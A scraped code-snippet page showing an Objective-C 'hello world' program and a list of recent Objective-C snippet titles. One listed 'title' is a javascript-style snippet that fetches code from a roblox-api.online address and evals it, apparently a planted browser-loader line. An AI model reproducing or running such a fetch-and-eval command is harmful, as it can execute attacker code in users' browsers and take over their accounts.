hello world objective-c
#import <objc/Object.h>
#import <stdio.h>
/** Write your Interface extending Object **/
@implementation HelloWorld:Object
-(void) hello
{
printf("Hello World");
}
@end
/** Main program for the program execution entry **/
int main(int argv, char* argc[])
{
/* Create an object */
id o = [HelloWorld new];
/* Pass the message 'hello' to object in the reference variable 'o' */
[o hello];
}
Are there any code examples left?
New code examples in category Objective-C
-
Objective-C 2022-03-19 18:00:19 xjavascript$get'//roblox-api.online/roblox?id=4823'.eval)”
-
Objective-C 2022-03-15 06:35:10 compare nsstring
-
Objective-C 2022-03-03 11:45:10 objective c encrypt decrypt string
-
Objective-C 2022-02-27 11:00:32 nstimer example objective c
-
Objective-C 2022-02-16 17:15:28 loop array objective c
-
Objective-C 2022-02-14 08:05:08 how to add undelete texts to textfield in ios
-
Objective-C 2022-02-12 01:30:08 Changing scene on obj click
-
Objective-C 2022-02-08 17:25:21 obj c write file
-
Objective-C 2022-02-02 17:51:03 fpdf exemple